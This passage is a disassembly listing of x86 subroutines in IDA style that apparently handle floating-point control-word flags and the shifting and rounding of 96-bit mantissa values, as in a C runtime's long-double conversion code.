var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42CF85
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42CF85:				; CODE XREF: sub_42CF60+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42CF9D
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42CF9D:				; CODE XREF: sub_42CF60+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42CFB6
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42CFB6:				; CODE XREF: sub_42CF60+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42CFCE
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42CFCE:				; CODE XREF: sub_42CF60+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42CFE6
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42CFE6:				; CODE XREF: sub_42CF60+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42D002
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42D002:				; CODE XREF: sub_42CF60+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_42D035
		cmp	[ebp+var_8], 800h
		jz	short loc_42D048
		cmp	[ebp+var_8], 0
		jz	short loc_42D040
		cmp	[ebp+var_8], 400h
		jz	short loc_42D053
		jmp	short loc_42D067
; ---------------------------------------------------------------------------


loc_42D035:				; CODE XREF: sub_42CF60+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_42D05E
		jmp	short loc_42D067
; ---------------------------------------------------------------------------


loc_42D040:				; CODE XREF: sub_42CF60+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_42D067
; ---------------------------------------------------------------------------


loc_42D048:				; CODE XREF: sub_42CF60+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_42D067
; ---------------------------------------------------------------------------


loc_42D053:				; CODE XREF: sub_42CF60+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42D067
; ---------------------------------------------------------------------------


loc_42D05E:				; CODE XREF: sub_42CF60+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx


loc_42D067:				; CODE XREF: sub_42CF60+D3j
					; sub_42CF60+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42D0A9
		cmp	[ebp+var_C], 200h
		jz	short loc_42D09B
		cmp	[ebp+var_C], 300h
		jz	short loc_42D093
		jmp	short loc_42D0B5
; ---------------------------------------------------------------------------


loc_42D093:				; CODE XREF: sub_42CF60+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_42D0B5
; ---------------------------------------------------------------------------


loc_42D09B:				; CODE XREF: sub_42CF60+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_42D0B5
; ---------------------------------------------------------------------------


loc_42D0A9:				; CODE XREF: sub_42CF60+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx


loc_42D0B5:				; CODE XREF: sub_42CF60+131j
					; sub_42CF60+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42D0D2
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx


loc_42D0D2:				; CODE XREF: sub_42CF60+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42CF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D0E0	proc near		; CODE XREF: sub_42CE90+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42D101
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx


loc_42D101:				; CODE XREF: sub_42D0E0+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_42D115
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax


loc_42D115:				; CODE XREF: sub_42D0E0+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42D12A
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx


loc_42D12A:				; CODE XREF: sub_42D0E0+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_42D13F
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx


loc_42D13F:				; CODE XREF: sub_42D0E0+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_42D153
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax


loc_42D153:				; CODE XREF: sub_42D0E0+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_42D16B
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx


loc_42D16B:				; CODE XREF: sub_42D0E0+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_42D199
		cmp	[ebp+var_8], 200h
		jz	short loc_42D1AE
		cmp	[ebp+var_8], 0
		jz	short loc_42D1A4
		cmp	[ebp+var_8], 100h
		jz	short loc_42D1BB
		jmp	short loc_42D1D3
; ---------------------------------------------------------------------------


loc_42D199:				; CODE XREF: sub_42D0E0+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_42D1C8
		jmp	short loc_42D1D3
; ---------------------------------------------------------------------------


loc_42D1A4:				; CODE XREF: sub_42D0E0+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_42D1D3
; ---------------------------------------------------------------------------


loc_42D1AE:				; CODE XREF: sub_42D0E0+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_42D1D3
; ---------------------------------------------------------------------------


loc_42D1BB:				; CODE XREF: sub_42D0E0+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_42D1D3
; ---------------------------------------------------------------------------


loc_42D1C8:				; CODE XREF: sub_42D0E0+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx


loc_42D1D3:				; CODE XREF: sub_42D0E0+B7j
					; sub_42D0E0+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42D1F9
		cmp	[ebp+var_C], 10000h
		jz	short loc_42D206
		cmp	[ebp+var_C], 20000h
		jz	short loc_42D213
		jmp	short loc_42D21B
; ---------------------------------------------------------------------------


loc_42D1F9:				; CODE XREF: sub_42D0E0+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_42D21B
; ---------------------------------------------------------------------------


loc_42D206:				; CODE XREF: sub_42D0E0+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_42D21B
; ---------------------------------------------------------------------------


loc_42D213:				; CODE XREF: sub_42D0E0+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx


loc_42D21B:				; CODE XREF: sub_42D0E0+117j
					; sub_42D0E0+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_42D232
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx


loc_42D232:				; CODE XREF: sub_42D0E0+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D240	proc near		; CODE XREF: .nsp0:0042CE60p
					; .nsp0:0042CE81p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42D263
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42D263:				; CODE XREF: sub_42D240+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42D27B
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42D27B:				; CODE XREF: sub_42D240+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42D294
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42D294:				; CODE XREF: sub_42D240+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42D2AC
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42D2AC:				; CODE XREF: sub_42D240+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42D2C4
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42D2C4:				; CODE XREF: sub_42D240+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42D2E0
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42D2E0:				; CODE XREF: sub_42D240+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D2F0	proc near		; CODE XREF: sub_42D430+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42D314
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42D314:				; CODE XREF: sub_42D2F0+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_42D33F
		xor	eax, eax
		jmp	short loc_42D370
; ---------------------------------------------------------------------------


loc_42D33F:				; CODE XREF: sub_42D2F0+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42D353
; ---------------------------------------------------------------------------


loc_42D34A:				; CODE XREF: sub_42D2F0:loc_42D369j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_42D353:				; CODE XREF: sub_42D2F0+58j
		cmp	[ebp+var_C], 3
		jge	short loc_42D36B
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42D369
		xor	eax, eax
		jmp	short loc_42D370
; ---------------------------------------------------------------------------


loc_42D369:				; CODE XREF: sub_42D2F0+73j
		jmp	short loc_42D34A
; ---------------------------------------------------------------------------


loc_42D36B:				; CODE XREF: sub_42D2F0+67j
		mov	eax, 1


loc_42D370:				; CODE XREF: sub_42D2F0+4Dj
					; sub_42D2F0+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D380	proc near		; CODE XREF: sub_42D430+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42D3A4
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42D3A4:				; CODE XREF: sub_42D380+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_42D3F2
; ---------------------------------------------------------------------------


loc_42D3E9:				; CODE XREF: sub_42D380+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42D3F2:				; CODE XREF: sub_42D380+67j
		cmp	[ebp+var_C], 0
		jl	short loc_42D421
		cmp	[ebp+var_10], 0
		jz	short loc_42D421
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_42D3E9
; ---------------------------------------------------------------------------


loc_42D421:				; CODE XREF: sub_42D380+76j
					; sub_42D380+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D430	proc near		; CODE XREF: sub_42D6C0+ABp
					; sub_42D6C0+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_42D46E
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_42D46E:				; CODE XREF: sub_42D430+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_42D4BF
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D2F0
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4BF
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42D380
		add	esp, 8
		mov	[ebp+var_18], eax


loc_42D4BF:				; CODE XREF: sub_42D430+63j
					; sub_42D430+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_42D4EF
; ---------------------------------------------------------------------------


loc_42D4E6:				; CODE XREF: sub_42D430+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42D4EF:				; CODE XREF: sub_42D430+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_42D504
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_42D4E6
; ---------------------------------------------------------------------------


loc_42D504:				; CODE XREF: sub_42D430+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D510	proc near		; CODE XREF: sub_42D6C0+98p
					; sub_42D6C0+10Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_42D534
; ---------------------------------------------------------------------------


loc_42D52B:				; CODE XREF: sub_42D510+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42D534:				; CODE XREF: sub_42D510+19j
		cmp	[ebp+var_C], 3
		jge	short loc_42D558
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_42D52B
; ---------------------------------------------------------------------------


loc_42D558:				; CODE XREF: sub_42D510+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D560	proc near		; CODE XREF: sub_42D6C0+7Cp
					; sub_42D6C0+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42D576
; ---------------------------------------------------------------------------


loc_42D56D:				; CODE XREF: sub_42D560+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42D576:				; CODE XREF: sub_42D560+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42D58B
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_42D56D
; ---------------------------------------------------------------------------


loc_42D58B:				; CODE XREF: sub_42D560+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D590	proc near		; CODE XREF: sub_42D6C0+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42D5A6
; ---------------------------------------------------------------------------


loc_42D59D:				; CODE XREF: sub_42D590:loc_42D5BCj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42D5A6:				; CODE XREF: sub_42D590+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42D5BE
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_42D5BC
		xor	eax, eax
		jmp	short loc_42D5C3
; ---------------------------------------------------------------------------


loc_42D5BC:				; CODE XREF: sub_42D590+26j
		jmp	short loc_42D59D
; ---------------------------------------------------------------------------


loc_42D5BE:				; CODE XREF: sub_42D590+1Aj
		mov	eax, 1


loc_42D5C3:				; CODE XREF: sub_42D590+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D5D0	proc near		; CODE XREF: sub_42D6C0+11Fp
					; sub_42D6C0+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42D5F5
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42D5F5:				; CODE XREF: sub_42D5D0+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_42D61E
; ---------------------------------------------------------------------------


loc_42D615:				; CODE XREF: sub_42D5D0+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42D61E:				; CODE XREF: sub_42D5D0+43j
		cmp	[ebp+var_C], 3
		jge	short loc_42D671
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_42D615
; ---------------------------------------------------------------------------


loc_42D671:				; CODE XREF: sub_42D5D0+52j
		mov	[ebp+var_C], 2
		jmp	short loc_42D683
; ---------------------------------------------------------------------------


loc_42D67A:				; CODE XREF: sub_42D5D0:loc_42D6B5j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_42D683:				; CODE XREF: sub_42D5D0+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_42D6B7
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_42D6A8
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_42D6B5
; ---------------------------------------------------------------------------


loc_42D6A8:				; CODE XREF: sub_42D5D0+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0


loc_42D6B5:				; CODE XREF: sub_42D5D0+D6j
		jmp	short loc_42D67A
; ---------------------------------------------------------------------------


loc_42D6B7:				; CODE XREF: sub_42D5D0+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42D5D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D6C0	proc near		; CODE XREF: sub_42D910+10p
					; sub_42D930+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_42D750
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42D590
		add	esp, 4
		test	eax, eax
		jz	short loc_42D738
		mov	[ebp+var_1C], 0
		jmp	short loc_42D74B
; ---------------------------------------------------------------------------


loc_42D738:				; CODE XREF: sub_42D6C0+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42D560
		add	esp, 4
		mov	[ebp+var_1C], 2


loc_42D74B:				; CODE XREF: sub_42D6C0+76j
		jmp	loc_42D89C
; ---------------------------------------------------------------------------


loc_42D750:				; CODE XREF: sub_42D6C0+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_42D510
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42D430
		add	esp, 8
		test	eax, eax
		jz	short loc_42D780
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42D780:				; CODE XREF: sub_42D6C0+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_42D7B0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42D560
		add	esp, 4
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_42D89C
; ---------------------------------------------------------------------------


loc_42D7B0:				; CODE XREF: sub_42D6C0+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_42D820
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42D510
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42D5D0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42D430
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42D5D0
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
